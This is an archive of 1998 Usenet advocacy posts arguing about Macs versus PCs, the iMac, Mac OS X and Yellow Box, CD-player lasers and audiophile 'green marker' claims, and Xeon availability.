GLQuake, which is why I tend to blame the port quality and the drivers. I
think if someone put Quake through a set of G3-specific optimizations and
we got decent drivers for our 3Dfx cards, we would see that gap close
almost entirely.
However, all of this is moot. RE: Unreal will soon be out for the Mac, and
it *was* a decent port: frame rates are almost dead even with equivalent
hardware, and the Mac's RAM requirments are substantially lower.
michael
--
"If you're bored, then you're boring"--Harvey Danger, Flagpole Sitta
Michael M. Eilers * Fearful Symmetry Designs * e-mail in headers
From: Peter Ahlstrom <pfa@email.byu.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 10 Aug 1998 17:46:12 -0600
Organization: Brigham Young University
Message-ID: <35CF8643.6E9@email.byu.edu>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <bryan-ya02408000R1807980834550001@news.kcnet.com> <gmgraves-1807981209240001@sf-usr1-32-160.dialup.slip.net>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
George Graves wrote:
> > >As I see it, Apple's (and the Mac's) best chance lies along the
> > >following lines:
> > >
> > >1) Write a version of OSX which will not only run on Intel, but
> > >will run native Windows apps as if they were Mac apps.
>
> They did it once, with a VERY small group. The Project was called
> "Star Trek" and about a dozen programmers had it running in about
> three months. I'd say, that it could be done with about the same
> amount of effort as is now going into OS-X for PPC.
>
I'd like to hear an account of this!
I think if Apple did this they'd be unstoppable. It's the logical step
up from the rhaptel idea.
Peter Ahlstrom
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
From: ray@netcom.com (Ray Fischer)
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Message-ID: <rayExuyrC.IIo@netcom.com>
Organization: NETCOM, San Jose
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net>
Date: Tue, 18 Aug 1998 00:02:00 GMT
Sender: ray@netcom10.netcom.com
William Frisbee <bfrisbee@fuckspam.webengine-db.com> wrote:
>>Ease of use. Covered extensively on my web site with URLs.
>
>Ease of use? Ease of use involves many things, like being able to get
>hardware for a Mac.
Or not needing to get hardware for a Mac.
> Try changing your sound card or your video card.
Try NOT changing your video or sound. NOT trying to get play-and-pray
to work. NOT installing new drivers and wondering if they'll work.
NOT having to reinstall drivers with the next version of the OS.
> There
>are not very many available for the Mac. On the Intel side of the world I
>can get thousands of video cards and hundreds of sound cards, not to mention
>video capture, tuners, MPEG converters yadda yadda yadda, that is EASE of
>use to me.
Did you also build your own car? Was it easier than buying one
pre-assembled?
--
Ray Fischer The greatest dangers to liberty lurk in insidious
ray@netcom.com encroachment by men of zeal, well meaning but without
understanding. -- Louis Brandeis
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 17 Aug 1998 19:13:56 -0500
Organization: Ericsson North America Inc.
Message-ID: <35D8C744.5F35DF26@ericsson.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Ray Fischer wrote:
> Did you also build your own car? Was it easier than buying one
> pre-assembled?
I was about to say, "A computer isn't really like a car at all", but
then I realized that some people actually disagree.
MJP
From: Nonnaho <NoBrains@all.org>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Mon, 17 Aug 1998 18:31:35 -0700
Organization: Intel
Message-ID: <35D8D977.470@all.org>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <6ra04l$akc$1@news.spacelab.net> <joe.ragosta-1708981614510001@wil78.dol.net> <6ra5vg$b9h$1@news.spacelab.net> <6ra8ca$3l4$1@ec.arbat.com> <6rabft$bk9$1@news.spacelab.net>
Mime-Version: 1.0
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Charles W. Swiger wrote:
>
> Erik Corry <erik@arbat.com> wrote:
> [ ... ]
snip
>
> The timing change would not be because a reflection was delayed by the amount of
> time it took that light to bounce around inside the CD.
>
> The photoreceptor outputs a continually varying voltage according to the amount of
> light it receives in the frequencies it's sensitive to. Even a fairly low level of
> ambient light would affect the timing somewhat, and this could matter if that
> signal was not reclocked correctly. _If_ a timing change were to occur, it would
> be because the extra ambient light delayed a transition from bright to dark
> slightly, or made a dark to light transition happen a little earlier than it
> should.
If I'm not mistaken, all CD players ( even the earliest ) had a small
buffer for
the data that came off the disk. Because of this, the speed of the disk
itself,
did not have to be as tightly controlled. More importantly, since the
data on the
disk is spread out ( for better error detection and correction ) the
buffer is needed
to correct the data stream. From the main electronics, the data stream
is clocked
out by the master clock to the DAC. On some systems ( external DACs ),
the DAC
receives its own clock from the data stream ( PLL ) which is used to
clock out the
data. So if the DAC is working correctly, and the data has no errors
the amplitude
of the signal will be correct. If the clock driving the DAC has jitter,
the DAC
output would have jitter, BUT it would most likely be greatly reduced
because of
the PLL averaging if the clock signal. This may very from DAC to DAC.
NOTE: this jitter is from the main electronics and has nothing to do
with reading
of the disk.
So, to all those green pen believers, it still doesn't make sense!
Nonnaho
snip
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 17 Aug 1998 22:42:10 -0500
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1708982242100001@r4149.resnet.cornell.edu>
References: <joe.ragosta-1608980706240001@elk78.dol.net> <35d7388f.75797863@news.iafrica.com> <joe.ragosta-1608981737340001@elk59.dol.net> <6r9ktj$mj6$3@hecate.umd.edu>
In article <6r9ktj$mj6$3@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> I don't know of many that could truely take advantage of this, but I do know
> one. My friend down in Houston has about $30K worth of computer/electronics
> all hooked up to each other. He's got cable, Sat Dish, 2 TV's, his networked
> computer systems(5 the last time I was there, including the 386 running win95)
> all wired up. It's fairly impressive, he can watch TV on his computer,
> redirect MP3 music to his stereo system.
I'm not quite that fancy, but I do watch TV on my monitor and use my
computer to play MPEG selections from my CD collection on my stereo (I can
listen to any of my favorite tunes without having to swap CDs).
I'm working on getting there, though! I just set up a firewall.
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
What's good for Standard Oil is good for Microsoft.
From: Ian Stirling <000035D8F15C.NO_UCE@mauve.demon.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Tue, 18 Aug 1998 04:13:32 +0100
Organization: None.
Message-ID: <000035D8F15C.NO_UCE@mauve.demon.co.uk>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz>
User-Agent: tin/pre-1.4-971106 (UNIX) (Linux/2.0.34 (i586))
In comp.sys.intel Peter Kerr <p.kerr@auckland.ac.nz> wrote:
: gmgraves@slip.net (George Graves) wrote:
:>Sorry, every CD uses an IR laser. If it were red, you would be able to
:>see the laser with the top of the player removed. You can't. IR is
:>invisable.
: You can't see it with the top off the player because for safety reasons it
: doesn't light up until there is a disc in place, and revolving. If you
: then look carefully underneath the disc you can see the red light...
DO NOT DO THIS!!!!!!!!!
Your eye is vastly less sensitive to IR than to visible, hence an apparently
dim light may actually be quite bright, and cause eye damage.
It IS infra-red.
Do not look into laser beam with remaining eye.
--
See http://www.mauve.demon.co.uk/ |Linux PDA, cheap electronics/PC bits sale.
See_header,_for_UCE_policy___________|_____________________________Ian_Stirling.
Paranoia: A game for the whole family, and anyone else who might be watching.
From: Ian Stirling <000035D8F0BA.NO_UCE@mauve.demon.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Tue, 18 Aug 1998 04:10:51 +0100
Organization: None.
Message-ID: <000035D8F0BA.NO_UCE@mauve.demon.co.uk>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <kindall-1708980438260001@nic-c41-094.mw.mediaone.net> <not-1708981054290001@ip-26-040.phx.primenet.com> <rbarris-ya023280001708981330570001@206.82.216.1>
User-Agent: tin/pre-1.4-971106 (UNIX) (Linux/2.0.34 (i586))
In comp.sys.intel Rob Barris <rbarris@quicksilver.com> wrote:
: In article <not-1708981054290001@ip-26-040.phx.primenet.com>,
: not@a.valid.email.add (Michael M. Eilers) wrote:
:> In article <kindall-1708980438260001@nic-c41-094.mw.mediaone.net>,
:> kindall@mail.manual.com (Jerry Kindall) wrote:
:>
:> > How would the CD be useless if you applied an opaque green marker on the
:> > edge? (You don't cover the whole underside of the CD with green marker!
<snip>
: CD's start from the region closest to the hole.
: That way you can have tiny CD's that play in the big player. The big
: player doesn't know that the CD is any different physically since it finds
: the TOC in the same place. (Coca Cola used to be giving out these little
: 2-inch CD's with their packaging, some kind of music promotion)
That sounds rather small, you'd only get about .3" or so of data, maybe
a track.
I believe the only conventional smaller size is 8cm.
I've cut down some CD-R's to 8cm, so they fit neatly in a wallet and I can
my enviroment everywhere.
I don't think 8cm CR-R's are available any more, pity...
Apparently my traxdata CD-R drive had not been tested thouroughly enough
with this size of disk.
It will occasionally eat them, requiring disassembly to get it back.
--
See http://www.mauve.demon.co.uk/ |Linux PDA, cheap electronics/PC bits sale.
See_header,_for_UCE_policy___________|_____________________________Ian_Stirling.
Things a surgeon should never say.
Better save that for the autopsy.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: 18 Aug 1998 03:22:08 GMT
Organization: University of California at San Diego
Message-ID: <slrn6thsr0.uk4.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net> <joe.ragosta-1708981315410001@0.0.0.0>
On Mon, 17 Aug 1998 13:15:40 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
:Again, you'd have to show evidence that it does.
:
:A digital signal can't be affected other than if there are errors in the
:signal. It's not like an analog signal where a few percentage difference
:can make a difference in the final sound.
:
:Once again, if you have the same bit string going to the DAC, what
:difference does it make how you got that bit string?
The imputed effects are things like different amounts of RFI
interference or other junk going into the DAC power supply or timing
clocks, a.k.a. 'subband' information in the crypto lingo.
Myself, I'm quite sceptical about the audibility of such effects, unless
they occur in poorly designed (yet often "audiophile") equipment whereupon
other exotic changes can have some other random effect.
:
:--
:Regards,
:Joe Ragosta
:http://www.dol.net/~Ragosta/complmac.htm
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk>
Message-ID: <35d8f8dc.0@news.depaul.edu>
Date: 18 Aug 98 03:45:32 GMT
In comp.sys.next.advocacy Ian Stirling <000035D8F15C.NO_UCE@mauve.demon.co.uk> wrote:
> DO NOT DO THIS!!!!!!!!!
> Your eye is vastly less sensitive to IR than to visible, hence an apparently
> dim light may actually be quite bright, and cause eye damage.
You cannot see IR at all. It's not dim, it's invisible.
> It IS infra-red.
No, it's not. It's visible red.
> Do not look into laser beam with remaining eye.
You'd have to look directly into it - lasers travel straight. You
can see the red dot of the laser beam on the lens, without
looking straight into the beam's path.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
Date: Mon, 17 Aug 1998 23:57:51 -0600
From: tonywong@_no_spam_compusmart.ab.ca (Tony Wong)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Message-ID: <tonywong-1708982357510001@remote996.compusmart.ab.ca>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100>
In article <35dd70d1.38420203@198.0.0.100>, nhughes@sunflower.com (nate) wrote:
>On Mon, 17 Aug 1998 00:12:54 -0600, tonywong@_no_spam_compusmart.ab.ca
>(Tony Wong) wrote:
>
>
>
>>There is no such thing as quad P2s (only P pro), and Quad Xeons are not
>>shipping yet (due to a bus chip bug). Performance claims via benchmarking
>
>
>Quad Xeons have been shipping for a few weeks now.
If you've read CNET or EEtimes, both have said that all Quad CPUs have
thermal issues to deal with before they're ready to go. To paraphrase,
Intel Xeon CPUs are certified to run up to a 75°C internal temperature in
a dual mode configuration, but in a four way configuration, they have to
be backed down to 65°C do to ECC issues. Until that is solution is fully
tested, I would say that Intel is merely hyping everyone with prerelease
units (Dell as well).
T.
--
remove no spam to reply...
Date: Tue, 18 Aug 1998 00:01:30 -0600
From: tonywong@_no_spam_compusmart.ab.ca (Tony Wong)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Message-ID: <tonywong-1808980001310001@remote996.compusmart.ab.ca>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100>
Sorry, if you want the URL, for Monday the 17th, "Intel works to cool down
Xeon," by Michael Kanellos,
http://www.news.com/News/Item/0,4,25304,00.html?owv
T.
--
remove no spam to reply...
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 17 Aug 1998 22:46:12 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1708982246120001@sdn-ar-002casbarp233.dialsprint.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <6r7cfp$4k1$1@nnrp1.dejanews.com> <joe.ragosta-1608981709310001@elk59.dol.net> <6ra197$chv$1@nnrp1.dejanews.com>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <6ra197$chv$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > So what?
>
> So using Bytemarks to support the claim that a system is faster than another
> is absurd. It's like saying that a car is faster than another when you've
> only checked the tires. Bytemarks doesn't test video speed, disk speed,
> network speed, etc.
>
> > Macdhud called Jobs a liar for repeating Bytemarks results.
>
> Jobs extended the narrow scope of Bytemarks to make claims about system
> performance. I think that it may be a lie by definition i.e. to utter
> falsehood with an intention to deceive.
Look, Joe is resorting to name calling :)
I wonder, since byte gets its total by averaging the index of each test, I
wonder what the int score would be if you excluded the bitfield test and
then averaged?
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
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References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com> <35D0BB31.C59D68BD@ericsson.com>
<j37A1.21801$7k7.20104944@news.rdc1.sdca.home.com> <35D1C357.7B580353@ericsson.com>
<KpuA1.22574$7k7.20807120@news.rdc1.sdca.home.com> <35D31040.A87A3529@ericsson.com>
<oKIA1.23084$7k7.21198435@news.rdc1.sdca.home.com> <35D46624.9BCFFA16@ericsson.com>
<TyaB1.62$7_3.312830@news.rdc1.sdca.home.com> <35D84EAF.78380DC3@ericsson.com>
Message-ID: <MzYB1.36721$7_3.1627913@news.rdc1.sdca.home.com>
Date: Mon, 17 Aug 1998 16:08:12 GMT
NNTP-Posting-Date: Mon, 17 Aug 1998 09:08:12 PDT
Organization: @Home Network
In <35D84EAF.78380DC3@ericsson.com> Michael Peck wrote:
> rr6013@yahoo.com wrote:
>
> > They've got good API's to "access" drivers, databases, communications,
and
> > cross-platform OS's. DriverKit, EOF, WebObjects and IB are core elements
in
> > Apple's technology foundation moving forward into the next Century.
>
> That will be great when drivers begin showing up. It's meaningless right
> now. These things don't demonstrate an ability for Apple to bring about
> integration between software and hardware in the current market, period.
>
>
Constraining discussion to current market, which I assume you perceive as "
retail consumer", then I agree to your "show me" comments are correct. I
like to extend what I know to what is possible and draw the inference to the
future. WebObjects integration to process manufacturing delivers BTO
specialization. Massive amounts of integration via API's. But if you want
to limit the breadth of discussion, we can.
-r
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 17 Aug 1998 18:29:08 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6r9spk$d0e@newsb.netnews.att.com>
References: <35D45C80.38A0C880@ericsson.com> <35D467CB.1793C86C@ericsson.com> <6r42tl$fht$1@lwnws01.ne.highway1.com> <35D84F6F.DAED08CD@ericsson.com>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@ericsson.com> wrote:
>NT has many features to recommend it over MacOS X. I don't
>think the market at large will mistake this.
Given that nowadays, bugs are redefined to be features, and
given NT 5.0's 30+ million lines of code, I fully agree with you.
-arun gupta
eam together that will routinely publish up-to-date free code
> libraries that can read/write those formats and those formats and keep
> doing so.
>
Hmm, yes, that would be welcome, however as Greg's pointed out, you've then
still to write an application which will deal with whatever the reader throws
at you. In the next beta release Mesa should (no promises!) be able to read
just about any *unfragmented* Excel file up to Excel 97, however we'll still
be unable to do much with some of the information the file contains simply
because, for example, we still (much to my disappointment...) don't support
rotated text (... it's just my favourite feature, honest...)
Best wishes,
mmalc.
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
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References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com> <35D0BB31.C59D68BD@ericsson.com>
<j37A1.21801$7k7.20104944@news.rdc1.sdca.home.com> <35D1C357.7B580353@ericsson.com>
<KpuA1.22574$7k7.20807120@news.rdc1.sdca.home.com> <35D31040.A87A3529@ericsson.com>
<oKIA1.23084$7k7.21198435@news.rdc1.sdca.home.com> <35D46624.9BCFFA16@ericsson.com>
<TyaB1.62$7_3.312830@news.rdc1.sdca.home.com> <35D84EAF.78380DC3@ericsson.com>
Message-ID: <CVYB1.36722$7_3.1645751@news.rdc1.sdca.home.com>
Date: Mon, 17 Aug 1998 16:31:30 GMT
NNTP-Posting-Date: Mon, 17 Aug 1998 09:31:30 PDT
Organization: @Home Network
In <35D84EAF.78380DC3@ericsson.com> Michael Peck wrote:
> rr6013@yahoo.com wrote:
>
>>>>They've got good API's to "access" drivers, databases, communications,
and
>>>>cross-platform OS's. DriverKit, EOF, WebObjects and IB are core elements
in
>>>>Apple's technology foundation moving forward into the next Century.
> >Please pardon my sarcasm. Apple is on the verge of the introduction of a
> >non-expandable machine, and you tell me that Apple's new market strength
> > is software/hardware integration. Very interesting.
>
> > Ahh, LEGOs envy... Apple lops off a "ton" of customer support calls and
user
> > dissatisfaction with a minimum configuration iMac. You'll probably like
> > their hardware/software integration once they start marketing it LEGOS
style.
>
> Well, no, Rex. I couldn't care less, it has nothing to do with what I
> said. Is this just deflection or was my refutation so stupid it wasn't
> worth meeting head on?
>
>
That the post says one thing and you expect something entirely different to
be conveyed, is a weakness in communication. I framed the context of my post
clearly with:
Apple's technology foundation moving forward into the next Century.
We can go back 8 mos. in time, to look at iMac. Is that productive? You
asked for someone to explain what you didn't understand. Then throw back " I
couldn't care less" & " it has nothing to do with what I said", when an
answer to your post is received.
I don't have time to play whatever usenet game this is...
-r
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 17 Aug 1998 16:58:51 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6r9ngb$n46$1@lwnws01.ne.highway1.com>
References: <35D45C80.38A0C880@ericsson.com> <6r1o4e$le9@shelob.afs.com> <35D467CB.1793C86C@ericsson.com> <6r42tl$fht$1@lwnws01.ne.highway1.com> <35D84F6F.DAED08CD@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
> John Kheit wrote:
> > I'm not sure that's a fair comparison. MacOSX, as far as we
> > know, is macOSX server, plus some libraries from compatibility,
> > i.e. carbon. Even if they are as STUPID as they seem, and
> > remove the command line and unix utilities (the latter being
> > incredibly daft), it still will have a better core and underlying
> > os layer than NT.
>
> Then that's something of a trade-off, one that won't be particularly
> meaningful to the general population, especially given that MacOS
> X will be restricted to a single, tiny hardware base, anyway.
> Other than that, MacOS X has almost nothing to recommend it over
> NT. NT has many features to recommend it over MacOS X. I don't
> think the market at large will mistake this.
Mmm, I don't think so. Clearly OSX may be a market failure, but not for a
lack of offerings as related to NT. First are the Yellow libraries that
offer cross platform. Sure, they will be made available for NT; I'm not sure
how to grade it, other than to mention Yellow development is significant.
Second, the core OS os better, and will more happily house things like unix.
Third, there are some other mac APIs that I believe are being Yellowized
(Quicktime), but regardless, are valuable to a niche market. Last, the UI.
Now I agree that I don't think that competes well against a HUGE base of apps
and momentum as found in NT, but it does offer a tray of alternative features
at least to some extent. Depending on your needs, the alternatives may be
very or not at all attractive.
--
Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: suckow@*remove_this_to_e-mail_me*bln.sel.alcatel.de (Ralf Suckow)
Newsgroups: comp.sys.next.advocacy
Subject: Re: iMac question...
Date: 17 Aug 1998 18:16:58 GMT
Organization: Alcatel/Bell
Distribution: world
Message-ID: <6r9s2q$6g8@btmpjg.god.bel.alcatel.be>
References: <6r9lat$sc9$2@sun27.hrz.tu-darmstadt.de>
Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam> writes
> >> Joe Ragosta <joe.ragosta@dol.net> wrote:
> >> >There's a SCSI/Ethernet bridge. Check Apple's iMac page, but I think it
> >> >was $99.
> I'm pretty sure it was on mcnn, about two week ago. The price range
> seems about right, too.
>
Maybe that was an Ethernet/SCSI bridge?
Nevertheless, a computer without serial/parallel ports
and floppies and SCSI, but with 100bt ethernet and USB
creates a market for some very nice new 3pp hardware,
which is a good thing not just for pushing new technology
but also to grow a supporting set of companies, that
spread the word.
Personally I wouldn't need neither SCSI nor a Floppie
since I could connect the iMac to my home network, and
I'm not doing backups anyway, so I'd be happy I have not
to pay for it.
BTW., does anybody know what iMacs will cost outside
of the U.S.A., e.g. in germany?
Yours,
--
Ralf.Suckow ------------------------
@bln.sel.alcatel.de | All opinions are mine.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Mon, 17 Aug 1998 19:24:15 -0500
Organization: Ericsson North America Inc.
Message-ID: <35D8C9AF.1E0B581B@ericsson.com>
References: <35D45C80.38A0C880@ericsson.com> <6r1o4e$le9@shelob.afs.com> <35D467CB.1793C86C@ericsson.com> <6r42tl$fht$1@lwnws01.ne.highway1.com> <35D84F6F.DAED08CD@ericsson.com> <6r9ngb$n46$1@lwnws01.ne.highway1.com>
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John Kheit wrote:
> Mmm, I don't think so. Clearly OSX may be a market failure, but not for a
> lack of offerings as related to NT. First are the Yellow libraries that
> offer cross platform. Sure, they will be made available for NT; I'm not sure
> how to grade it, other than to mention Yellow development is significant.
I don't see how. Yellow Box is not being pushed at all, which makes it
dangerous as a candidate for the axe. Besides, Apple isn't positioning
itself for the enterprise *or* for cross-platform development, so I
don't see the point of Yellow Box at all. Some nice class libraries and
GUI elements? _Nobody cares_. Learn to use MFC, Visual Basic, and
DirectX and you can write your own ticket.
> Second, the core OS os better, and will more happily house things like unix.
This is important inasmuch as it will stand in stark contrast with the
current MacOS's complete inability to manage anything more complicated
than, say, booting. Sometimes it has trouble with that much.
And the presence of a BSD C Library is nice, agreed. But put it in
perspective; with NT at least you have a command shell to work with.
That's a volunteer install on a MacOS X box.
> Third, there are some other mac APIs that I believe are being Yellowized
> (Quicktime), but regardless, are valuable to a niche market.
This is Apple's only cross-platform technology! And it's written
natively for each platform.
> Last, the UI.
[mmmmppphhh]
MJP
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: Mon, 17 Aug 1998 20:38:53 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ra4ct$h28$1@nnrp1.dejanews.com>
References: <35D46AB3.32036B60@ericsson.com> <SCOTT.98Aug14105146@slave.doubleu.com> <6r53mn$79m$1@crib.corepower.com> <edewExt4HH.I42@netcom.com>
Eric Dew wrote:
> >> Digital Webster is an optional install. If you want a definition a
